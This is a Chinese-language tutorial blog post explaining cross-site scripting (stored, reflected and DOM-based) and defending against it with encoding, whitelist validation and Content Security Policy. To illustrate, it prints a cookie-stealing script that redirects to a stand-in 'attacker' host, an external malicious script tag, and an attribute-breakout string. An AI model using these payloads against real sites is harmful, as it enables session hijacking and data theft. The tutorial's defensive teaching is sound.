Hi, It's Ivan here!
Writing XSS 大揭秘

XSS 大揭秘

第一章:综述

什么是 XSS ?

XSS 全称是 Cross-site scripting(跨站脚本攻击), 是一种网络攻击方式。它可以让攻击者在其他人的浏览器中执行恶意的 JavaScript 代码。从而达到攻击者不可告人的目的。

Cross-site scripting 的缩写之所以不是 CSS,主要是因为与 Web 的常用技术 Cascading Style Sheets(CSS) 同名。为了保证对于 CSS 语义的一致性理解,所以将其更改为 XSS。

XSS 攻击者没有具体的攻击目标,他是利用受害者所访问网站的漏洞,将恶意的代码注入到受害者所访问的页面中。对受害者使用的浏览器来说,恶意 JavaScript 也属于网站的”正常”代码,因此网站就成为了攻击者的帮凶。

恶意代码是如何被注入的?

攻击者在受害者浏览器中运行恶意代码的唯一方式就是将它注入到受害者从网站下载的页面中。如果网站在它的页面中直接使用了「用户输入」, 就会导致 XSS 攻击。因为攻击者也可以是网站用户, 他可以插入字符串形式的代码在网站的页面中, 而在受害者将网站的页面下载到浏览器中运行时,字符串形式的恶意代码就会被当作真正的代码来执行。

在下面的例子中,数据库中的一段 JavaScript 脚本被当作评论信息展示在网站的页面中。

print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

JavaScript 代码伪装成了本应由文字所构成的评论信息,但是由于网站中的「用户输入」被直接输出在页面中,所以攻击者才能将他的恶意代码:<script>...</script> 注入到用户下载的页面中。

那么接下来任何访问该页面的用户都会接收到类似下面的响应:

<html>
  Latest comment:
  <script>
    ...
  </script>
</html>

当用户的浏览器加载该页面时,浏览器会执行被包含在 <script> 标签中的代码,此时攻击者就已经成功完成了攻击。

什么是恶意的 Javascript 代码 ?

首先,能够在受害者浏览器中执行的 JavaScript 并不全都是恶意代码。毕竟,JavaScript 在非常受限制的环境中运行,该环境对用户的文件和操作系统具有极其有限的访问权限。你可以现在就打开浏览器的 JavaScript 执行环境执行任意你想执行的 JavaScript 代码, 你是不会对你的计算机造成任何损坏的。

然而,如果你发现 JavaScript 代码具有以下行为时,那很有可能它就是恶意代码:

  • JavaScript 代码需要去访问用户的隐私数据,例如 cookie
  • JavaScript 代码可以使用 XMLHttpRequest 或其他方法发送 http 请求给未知的服务器。
  • JavaScript 使用 DOM API 对当前页面 HTML 造成了非预期的修改。

这些事实加在一起可能会导致非常严重的安全漏洞,我们会在在下文中进行详细解释。

恶意代码导致的严重后果

攻击者可以通过注入恶意代码执行以下几种类型的攻击:

  • 盗取 cookie 信息: 攻击者可以通过 document.cookie 获取用户的 cookie 信息,然后将它们发送到自己的服务器上,从而获取其中的隐私数据,例如 session ID 等等。
  • 记录用户键盘按键信息: 攻击者还可以通过 addEventListener 注册键盘事件,然后发送用户的按键序列到自己的服务器中,按键序列中可能会记录敏感信息,例如密码和信用卡号。
  • 假冒用户发送请求: 攻击者可以通过 DOM API 插入假冒的登录表单在用户访问的页面中,设置表单的 action 属性为自己的服务器,然后就可以记录用户提交的隐私数据。

尽管这些攻击有很大地不同,但是它们都具有一个至关重要的相似性:由于攻击者已将代码注入到网站的页面中,因此恶意 JavaScript 是在该网站的上下文中执行的。这意味着它被视为该网站上的”正常”脚本:它可以访问该网站的受害者数据(例如 cookie),URL 栏中显示的主机名将是该网站的主机名。该脚本被认为是网站的合法部分,因此可以执行实际网站可以执行的任何操作。

这个事实突出了一个关键问题:

如果攻击者可以使用你的网站在另一个用户的浏览器中执行任意 JavaScript,那么你的网站及其用户的安全性已经受到了严重损害。

为了强调这一点,本教程中的一些例子中省略了恶意脚本的具体代码,只保留了 <script>...</script>,这是因为不论被注入的代码执行了哪种行为,只要网站中存在攻击者注入的代码,就会对用户造成损害。请你们牢记这一点!

第二章:XSS 攻击演示

XSS 攻击中的角色

在我们描述 XSS 攻击的细节之前,我们首先说说参与到 XSS 攻击中的各个角色。通常来说,XSS 攻击中有三个角色:网站受害者攻击者

  • 网站提供了用户访问的页面,在我们的例子中,网站地址是:http://website/。
    • 网站的数据库用来存储将要在页面上展示的「用户输入」的数据。
  • 受害者是一个普通的互联网用户,该用户使用自己的浏览器访问网站提供的页面。
  • 攻击者是一个恶意的互联网用户, 该用户利用网站的 XSS 漏洞对普通用户发起攻击。
    • 攻击者的服务器是被攻击者控制的 web 服务器,其唯一目的是窃取受害者的敏感信息。在我们的示例中,它位于 http://attacker/。

攻击场景展示

在本例中,我们假设攻击者的目的就是为了通过网站的 XSS 漏洞来获取用户的隐私数据。在受害者的浏览器解析了如下的 DOM 结构后,攻击者的目的就达到了。

<script>
  window.location = "<http://attacker/?cookie=>" + document.cookie
</script>

该脚本将用户的浏览器导航到了另一个 URL,触发了一个地址为攻击者服务器的 HTTP 请求。该 URL 在查询参数部分包含了受害者的 cookie 信息。这样当请求到达攻击者的服务器之后,攻击者就可以获取到受害者的 cookie 信息。一旦攻击者获取到受害者的 cookie, 他就可以假冒成受害者发起进一步的攻击。

从现在开始,上面的 HTML 代码将被称为恶意字符串或恶意脚本。注意,字符串代码只有在受害者的浏览器中被解析为 HTML 时才是恶意的,这只能是由于网站上的 XSS 漏洞导致的。

攻击是怎么发生的?

下图说明了攻击者是如何执行 XSS 攻击的:

How the example attack works

  1. 攻击者使用网站提供的一个表单提交了恶意代码到网站的数据库中。
  2. 受害者开始请求网站的页面。
  3. 网站将数据库中由攻击者提交的恶意代码包含在页面的响应中发送给受害者。
  4. 受害者的浏览器执行由网站提供的页面中的恶意代码,发送了受害者的 cookie 信息到攻击者的服务器中。

XSS 的类型

尽管 XSS 攻击的目标始终是在受害者的浏览器中执行恶意 JavaScript,但是达成这个目标的方式还是有些不同。 XSS 攻击通常分为三种类型:

  • Persistent XSS,顾名思义就是持久性的 XSS 攻击,攻击者注入的恶意代码被持久性地存储在网站的数据库中。
  • Reflected XSS,反射性的 XSS 是指恶意代码在受害者请求网站的页面时,才被注入到其中。
  • DOM-Based XSS, 该类攻击来源于客户端代码而非服务器端代码中。

之前例子中的图片就描述一个持久化的 XSS 攻击。我们现在来看看剩下的两种攻击类型:反射性的 XSS 和基于 DOM 的 XSS。

反射性 XSS

在反射性的 XSS 攻击中,恶意代码是受害者请求页面时 URL 中的一部分。然后,网站将这个 URL 中的恶意字符串包含在发回给用户的响应中。下图说明了这种情况。

Reflected XSS

  1. 攻击者设计了一个包含恶意字符串的 URL,并将其发送给受害者。
  2. 攻击者诱骗受害者从网站请求 URL。
  3. 该网站在响应中包含来自 URL 的恶意字符串。
  4. 受害者的浏览器执行由网站提供的页面中的恶意代码,发送了受害者的 cookie 信息到攻击者的服务器中。

反射性 XSS 是如何攻击成功的?

起初,反射性 XSS 可能看起来很蠢,因为它需要受害者自己发送一个包含恶意字符串的请求。但是没有人会心甘情愿地攻击自己,所以看起来反射性的 XSS 攻击没有办法执行。

但事实证明,至少有两种常见地方式可以使受害者对自己发起反射性 XSS 攻击。

  • 如果攻击者以特定的个人为目标,攻击者可以将恶意网址发送给受害者(例如使用电子邮件或即时通讯),诱使他访问该网址。
  • 如果攻击者的目标是一大群人,攻击者可以发布一个恶意网址的链接(比如在自己的网站或社交网络上),等待访问者点击。

这两种方法是很相似的,如果使用 URL 缩短服务,两者的成功率都可以更高,因为 URL 缩短服务可以掩盖恶意字符串,使用户无法识别它。

基于 DOM 的 XSS 攻击

基于 DOM 的 XSS 是持久性 XSS 和反射性 XSS 的一种变种。在基于 DOM 的 XSS 攻击中,直到网站的 JavaScript 被执行,恶意字符串才会被受害者的浏览器解析。这种 XSS 攻击方式,比前两种更为隐蔽,且不以查找。下图说明了这种反射性 XSS 攻击的情况。

DOM-based XSS

  1. 攻击者设计了一个包含恶意字符串的 URL,并将其发送给受害者。
  2. 攻击者诱骗受害者从网站请求 URL。
  3. 该网站收到请求,但响应中不包含恶意字符串。
  4. 受害者的浏览器执行”合法 JavaScript 脚本,从而将恶意脚本注入到页面中。
  5. 受害者的浏览器执行网站的页面中的恶意代码,发送了受害者的 cookie 信息到攻击者的服务器中。

为什么基于 DOM 的 XSS 攻击更难发现

在前面的持久性和反射性 XSS 攻击的例子中,服务器将恶意脚本插入到页面中,然后以响应的方式发送给受害者。当受害者的浏览器收到响应时,它认为恶意脚本是页面合法内容的一部分,并在页面加载过程中像其他脚本一样自动执行它。

然而,在基于 DOM 的 XSS 攻击的例子中,恶意脚本起初并没有作为页面的一部分被浏览器执行,而是在页面加载期间在执行页面”合法”的 JavaScript 代码后,才被注入到 HTML 中。问题在于,这个合法脚本直接利用「用户输入」来为页面添加 HTML。因为恶意字符串是利用 innerHTML 插入到页面中的,所以被解析为 HTML,导致恶意脚本被执行。

这之间的区别很微妙但很重要。

  • 在传统的 XSS 中,恶意 JavaScript 在页面加载时被执行,恶意代码是服务器发送的 HTML 响应的一部分。
  • 而在基于 DOM 的 XSS 中,恶意 JavaScript 是在页面加载后的某个时间点执行的,因为页面的合法 JavaScript 以不安全的方式处理「用户输入」。

为什么基于 DOM 的 XSS 很重要

在前面的持久性和反射性 XSS 攻击的例子中,真正合法的 JavaScript 即使无需执行也可以完成攻击;服务器可以自己生成所有的 HTML。如果服务器端的代码没有漏洞,那么网站就不会受到 XSS 的攻击。

然而,随着 Web 应用变得越来越先进,越来越多的 HTML 是由客户端的 JavaScript 而不是服务器生成的。任何时候,如果需要在不刷新整个页面的情况下更改内容,就必须使用 JavaScript 进行更新。最值得注意的是,当页面在 AJAX 请求后更新时,如果不处理恶意的「用户输入」,就会出现 XSS 攻击这种情况。

这意味着,XSS 漏洞不仅可能存在于网站的服务器端代码中,也可能存在于网站的客户端 JavaScript 代码中。因此,即使服务器端代码是完全安全的,客户端代码仍然可能在页面加载后,在 DOM 更新中不安全地使用「用户输入」。如果发生这种情况,客户端代码已经遭受了 XSS 攻击。

基于 DOM 的 XSS 对服务器不可见

有一种基于 DOM 的 XSS 的特殊情况,即恶意字符串从一开始就没有被发送到网站的服务器:当恶意字符串包含在 URL 的片段标识符中(#字符之后的任何内容)。浏览器不会将 URL 的这部分内容发送给服务器,所以网站没有办法使用服务器端代码访问它。然而,客户端代码却可以访问它,因此可以通过不安全的处理方式造成 XSS 漏洞。

这种情况不仅限于片段标识符。还有其他对服务器不可见的用户输入包括新的 HTML5 功能,如 LocalStorage 和 IndexedDB。

第三章:阻止 XSS

阻止 XSS 的方法

回顾一下,XSS 攻击是一种代码注入:恶意用户的输入被误解为受信任的代码。为了防止这种类型的代码注入,需要进行安全输入处理。对于 Web 开发人员来说,有两种不同地方式来执行安全输入处理:

  • Encoding(编码转义), 这样可以转义用户输入,以便浏览器仅将其解释为数据,而不是代码。
  • Validation(校验), 过滤用户输入,以便浏览器将其解释为没有恶意命令的代码。

虽然这些是阻止 XSS 的不同方法,但是它们有一些共同的特性,在使用这两种方法中的时,都必须理解这些特性:

  • 上下文: 需要根据「用户输入」在页面中的插入位置(上下文)来执行安全输入处理。
  • 入站/出站: 安全输入处理既可以在网站收到输入(入站)时执行,也可以在网站将输入插入页面(出站)之前进行。
  • 客户端/服务器: 可以在客户端或服务器端执行安全输入处理,这两种情况在任何情况下都需要。

在详细解释编码和校验如何工作之前,我们将先解释一下这些要点。

输入处理上下文

在一个网页中,用户输入可能被插入在许多不同的上下文(位置)中。对于每一种上下文,都必须遵循特定的规则,以保证用户输入的内容不会脱离上下文而被解释为恶意代码。以下是最常见的上下文。

ContextExample code
HTML element content<div>userInput</div>
HTML attribute value<input value="userInput">
URL query valuehttp://example.com/?parameter=userInput
CSS valuecolor: userInput
JavaScript valuevar name = "userInput";

为何上下文很重要

在上述的所有上下文中,如果用户输入的内容在被编码或校验之前被插入,就会出现 XSS 漏洞。攻击者就可以通过简单地插入该上下文的结束定界符并在其后面插入恶意代码来注入恶意代码。

例如,如果网站在某一时刻将用户输入直接插入到 HTML 属性中,攻击者就可以通过以引号开始他的输入来注入一个恶意脚本,如下所示。

Application code<input value="userInput">
Malicious string"><script>...</script><input value="
Resulting code<input value=""><script>...</script><input value="">

尽管可以通过简单地删除用户输入中的所有引号来防止 XSS 攻击,但这只限于在这个(html element content)上下文中。如果同样的输入被插入到另一个上下文中,结尾定界符就会不同,这样就有可能被注入。出于这个原因,安全输入处理总是需要根据插入用户输入的上下文来定制。

入站/出站时的用户输入处理

从直觉上看,似乎可以通过在网站收到所有用户输入时立即对其进行编码或校验来防止 XSS。这样一来,任何恶意字符串只要包含在页面中,就应该已经被处理过了,而生成 HTML 的脚本也不必担心安全输入处理问题。

问题是,如上所述,用户输入可以插入到一个页面的多个上下文中。当用户访问到页面时,没有一个简单的方法来确定它最终会被插入到哪个上下文中,同一个用户输入往往需要插入到不同的上下文中。因此,依靠入站输入处理来防止 XSS 是一个非常脆弱的解决方案,会很容易出现错误。(PHP 中被废弃的 “magic quotes “功能就是这样一个解决方案的例子)。

相反,出站输入处理应该是对 XSS 的主要防线,因为它可以考虑到用户输入将被插入的特定上下文。。

在哪里执行安全输入处理

在大多数的现代 web 应用中,用户的输入既要被服务端代码使用也要被客户端代使用。为了防止所有类型的 XSS 攻击,安全输入处理必须同时在服务端代码和客户端代码执行。

  • 为了防止传统的 XSS,必须在服务器端代码中执行安全的输入处理。这可以使用服务器支持的任何语言来完成。
  • 为了防止服务器从未接收到恶意字符串的基于 DOM 的 XSS(例如前面所述的片段标识符攻击),必须使用 JavaScript 在客户端代码中执行安全的输入处理。

现在我们已经解释了为什么上下文很重要,为什么入站和出站输入处理之间的区别很重要,以及为什么安全输入处理需要在客户端代码和服务器端代码中执行,我们将继续解释两种类型的安全输入处理(编码和校验)如何实际执行。

Encoding(编码)

编码是对用户输入的信息进行转义,使浏览器仅将其解释为数据而非代码的行为。在网络开发中,最知名的编码类型是 HTML 转义,它将 <> 等字符分别转换为 &lt&gt

下面的伪代码中展示了用户的输入通过服务器端的代码做 HTML 转义后插入到页面中的样子。

print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

如果用户的输入是 <script>...</script>, 那么 HTML 将会是如下形式:

<html>
  Latest comment: &lt;script&gt;...&lt;/script&gt;
</html>

因为所有具有特殊意义的字符都被转义了,浏览器不会将用户的输入作为 HTML 解析。

在客户端代码和服务端代码中做编码

当在你的客户端代码中执行编码时,使用的语言总是 JavaScript,它有一些内置的功能,可以为不同的上下文编码数据。

当在服务器端代码中执行编码时,你需要依赖服务器端语言或框架中的可用功能。由于可用的语言和框架数量众多,本教程将不涉及任何特定服务器端语言或框架中的编码细节。但是,熟悉 JavaScript 中客户端使用的编码函数,在编写服务器端代码时也是有用的。

客户端编码

当使用 JavaScript 在客户端对用户输入进行编码时,有几种内置的方法和属性可以以上下文感知的方式自动对所有数据进行编码。

ContextMethod/property
HTML element contentnode.textContent = userInput
HTML attribute valueelement.setAttribute(attribute, userInput) or element[attribute] = userInput
URL query valuewindow.encodeURIComponent(userInput)
CSS valueelement.style.property = userInput

上面提到的最后一个上下文(JavaScript Value)未包含在此列表中,因为 JavaScript 没有提供编码要包含在 JavaScript 源代码中的数据的内置方法。

编码转义的限制

即使使用编码将恶意输入转义,但攻击者也还可以将恶意字符串输入某些上下文。一个例子是当用户输入用于组成 URL 时:

document.querySelector("a").href = userInput

虽然给 a 元素的 href 属性赋值会自动对其进行编码,使其变成一个属性值而已,但这本身并不能阻止攻击者插入一个以 javascript: 开头的 URL。当链接被点击时,无论 URL 内嵌入什么 JavaScript 都会被执行。

当你真正想让用户定义页面的部分代码时,编码转义不是一个完美的解决方案。加入有一个用户资料页,用户可以自定义部分 HTML。如果对这个自定义的 HTML 进行编码转义,那么将无法完成该功能。

在这样的情况下,编码必须与校验相辅相成,我们将在接下来介绍。

校验

校验是过滤用户输入的行为,以便删除其中的恶意代码部分,但不一定要删除所有代码。网页开发中最常见地校验类型之一是允许「用户输入」注入到某些 HTML 元素(如<em><strong>),但不允许注入到其他元素(如<script>)中。

校验有如下两种方式:

Classification strategy(分类策略):用户的输入可以使用 「白名单」 或者 「黑名单」 来分类处理。 Validation outcome(结果鉴定): 被识别为恶意的「用户输入」可以被拒绝执行或进行”消毒”处理。

分类策略

黑名单

通过定义一个不应该出现在「用户输入」中的禁止模式来执行验证似乎是合理的。如果一个字符串符合这个模式,那么它就会被标记为无效。一个例子是允许用户提交除 javascript 以外的任何协议的自定义 URL。这种分类策略称为黑名单。

但是,它有两个缺点:

  • 复杂:准确地描述所有可能的恶意字符串的集合通常是一项非常复杂的任务。通过简单地搜索子串 “javascript “无法成功实施上述示例策略,因为这会错过 “Javascript:“(其中第一个字母大写)和”javascript:“(其中第一个字母被编码为数字字符引用)形式的字符串。
  • 过时:即使开发了一个完美的黑名单,如果浏览器中添加了允许「恶意用户输入」的新功能,它也会失败。例如,在引入 HTML5 onmousewheel 属性之前开发的 HTML 验证黑名单将无法阻止攻击者使用该属性进行 XSS 攻击。这个缺点在 Web 开发中尤为重要,因为 Web 开发是由许多不同地技术组成的,而这些技术又在不断更新。

基于以上两个原因,我们非常不鼓励将黑名单作为一种分类策略。白名单通常是一种安全得多的方法,我们将在下面介绍。

白名单

白名单本质上与黑名单相反:白名单方法不是定义一个禁止的模式,而是定义一个允许的模式,如果不符合这个模式,则将输入标记为无效。

与之前的黑名单例子相反,白名单的例子是允许用户提交只包含 http:和 https: 协议的自定义 URL,不包含其他内容。如果 URL 使用协议 javascript:,即使它以 “Javascript: “或”jvascript: “的形式出现,这种方法都会自动将它标记为无效。

白名单比黑名单有两个优点:

  • 简单:准确地描述一组安全字符串通常比识别所有恶意字符串的集合要容易得多。这在常见的情况下尤其如此,在这种情况下,用户输入的内容只需要包括浏览器中非常有限的功能子集。例如,上面描述的白名单只允许带有 http:或 https:协议的 URL 是非常简单的,在大多数情况下完全可以满足用户的需求。
  • 稳定:与黑名单不同,白名单一般不会在浏览器添加新功能时变得过时。例如,一个只允许 HTML 元素上的 title 属性的 HTML 验证白名单,即使是在 HTML5 onmousewheel 属性引入之前开发的,也会保持安全。

结果鉴定

将输入标记为无效后,可以采取以下两种操作之一:

  • 拒绝:「用户输入」被直接拒绝在网站的页面中展示。
  • 消毒:「用户输入」的无效部分都将被删除,其余的输入将由网站正常使用。

在这两种方法中,拒绝是最简单的实现方法。但”消毒”可以更有用,因为它允许用户输入的范围更广。例如,如果用户提交了一个信用卡号码,那么去除所有非数字字符的消毒例程将防止代码注入,同时允许用户输入带或不带连字符的号码。

应该使用哪种技术

编码应该是抵御 XSS 的第一道防线,因为它的目的就是中和数据,使其不能被解释为代码。在某些情况下,编码需要与校验相辅相成,如前所述。这种编码和校验应该是出站的,因为只有当输入被包含在一个页面中时,你才知道要对哪个上下文进行编码和验证。

作为第二道防线,你应该使用入站验证来消毒或拒绝那些明显无效的数据,比如使用 javascript:协议的链接。虽然这本身不能提供完全的安全性,但如果在任何时候由于错误或错误而导致出站编码和验证执行不当,这是一个有用的预防措施。

如果始终如一地使用这两道防线,网站将免受 XSS 攻击。然而,由于创建和维护整个网站的复杂性,仅使用安全输入处理来实现全面保护是很困难的。作为第三道防线,你还应该利用内容安全策略(CSP),我们将在接下来介绍。

Content Security Policy (CSP) - 内容安全策略

只使用安全输入处理来保护 XSS 的缺点是,即使是一个安全漏洞也会危及你的网站。最近一个名为内容安全策略(CSP)的网络标准可以减轻这种风险。

CSP 用于限制浏览器查看页面,使其只能使用从可信来源下载的资源。资源是指一个脚本、一个样式表、一个图像或页面引用的其他类型的文件。这意味着,即使攻击者成功地将恶意内容注入到网站中,CSP 也可以防止它被执行。

CSP 有以下几种规则:

  • No untrusted sources: 外部资源只能从一组明确定义的可信资源中加载。
  • No inline resources: 内联 JavaScript 和 CSS 不会被执行。
  • No eval: 不能使用 JavaScript 中的 eval 函数。

CSP 实战

在下面的示例中, 攻击者成功地注入了恶意代码到页面中。

<html>
  Latest comment:
  <script src="<http://attacker/malicious‑script.js>"></script>
</html>

虽然在这种情况下,网站未能安全地处理「用户输入」, 但在正确使用 CSP 策略的情况下,浏览器不会加载和执行 malicious-script.js,因为 http://attacker/ 不在受信任来源集中。所以 CSP 策略防止了该漏洞造成地伤害。

即使攻击者将脚本代码内联注入而不是链接到外部文件,在不允许内联 JavaScript 的 CSP 策略下也会防止该漏洞造成任何伤害。

如何启用 CSP

浏览器不会默认开启 CSP,如果想在网站中使用该功能, 那么页面的响应头中必须含有 Content‑Security‑Policy。只要浏览器支持 CSP,任何使用该响应头的页面都会被加载它的浏览器启用其安全策略。

由于安全策略是与每个 HTTP 响应一起发送的,所以服务器可以在每个页面的基础上设置其策略。通过在每个响应中提供相同的 CSP 头,可以将相同地策略应用于整个网站。

Content-Security-Policy 响应头的值是一个定义一个或多个安全策略的字符串。

⚠️ 注意:为了表述清晰,本节中的示例使用了换行符和缩进;这不应出现在实际的响应头中。

CSP 策略的语法

CSP 响应头的语法如下:

Content‑Security‑Policy:
    directive source‑expression, source‑expression, ...;
    directive ...;
    ...

语法主要由两部分组成:

  • Directives: 是一组预定义的字符串形式的资源类型列表。
  • Source expressions: 来源表达式是用来描述资源来源的模式。

对于每种资源类型,其后跟随的来源表达式定义了哪些资源可以被下载使用。

资源类型

资源类型有如下几种:

  • connect-src
  • font-src
  • frame-src
  • img-src
  • media-src
  • object-src
  • script-src
  • style-src

除此之外,特殊资源类型 default-src 可用于为 CSP 响应头中未包含的所有指令提供默认值。

来源表达式

来源表达式的语法如下:

protocol://host‑name:port‑number

主机名可以以 * 开头,这意味着所提供主机名的任何子域都将被允许进行资源下载。同样,端口号也可以是 * ,这意味着所有端口都将被允许。此外,协议和端口号也可以省略。

除上述语法外,来源表达式也可以是四个具有特殊含义的关键字之一(包括引号):

  • 'none': 不允许下载任何资源。
  • 'self': 只允许同源的资源。
  • 'unsafe-inline': 允许向页面中嵌入资源,例如:<script> 元素、<style> 元素 和 javascript: 协议的 URL。
  • 'unsafe-eval': 允许使用 JavaScript 中的 eval 函数。

请注意,无论何时使用 CSP,默认情况下都会自动禁止内联资源和 eval。使用 'unsafe-inline''unsafe-eval' 是开启它们的唯一方法。

一个示例

Content‑Security‑Policy:
    script‑src 'self' scripts.example.com;
    media‑src 'none';
    img‑src *;
    default‑src 'self' http://*.example.com

在该策略中, 页面受到了以下限制:

  • scripts 只能从同源服务和 scripts.example.com 服务中下载。
  • 音频与视频文件无法下载。
  • 图片资源可以从任意来源下载。
  • 所有其他的资源可以从同源服务器和 example.com 的子域服务器中下载。

CSP 的当前状态

截至 2013 年 6 月,内容安全政策是 W3C 的候选建议。浏览器供应商正在实施该建议,但其中部分内容仍与浏览器有关。特别是要使用的 HTTP 头在不同的浏览器之间可能有所不同。在今天使用 CSP 之前,请查阅你需要支持的浏览器的文档。

总结

XSS 总览

  • XSS 是一种代码注入攻击,可以通过对「用户输入」的不安全处理来实现。
  • 成功的 XSS 攻击使攻击者可以在受害者的浏览器中执行恶意 JavaScript。
  • 成功的 XSS 攻击会损害网站及其用户的安全。

XSS 攻击

  • 三种主要的 XSS 攻击类型:
    • 持久性的 XSS 攻击:恶意的「用户输入」来自于网站的数据库中。
    • 反射性的 XSS 攻击:恶意的「用户输入」来自于受害者的请求。
    • 基于 DOM 的 XSS 攻击:XSS 漏洞存在于客户端的代码而不是服务端的代码中。
  • 所有这些攻击都以不同地方式执行,但如果成功,其效果相同。

阻止 XSS

  • 阻止 XSS 攻击最重要的方式就是执行安全输入处理:
    • 大多数情况下,只要页面中包含用户输入,就应执行编码转义。
    • 在某些情况下,编码转义必须被校验替代或补充。
    • 安全输入处理必须考虑「用户输入」插入页面的哪个上下文。
    • 为了防止所有类型的 XSS 攻击,必须在客户端和服务器端代码中同时执行安全的输入处理。
  • CSP 内容安全策略为安全输入处理失败时提供了额外的防御层。

附录

术语

需要注意的是,目前用于描述 XSS 的术语存在重叠:基于 DOM 的 XSS 攻击同时也是持久性的或反射性的,它不是一种独立的攻击类型。目前还没有一个被广泛接受的术语能够涵盖所有类型的 XSS 而不存在重叠。然而,无论用什么术语来描述 XSS,关于任何特定攻击,最重要的是要识别恶意输入来自哪里,漏洞在哪里。

补充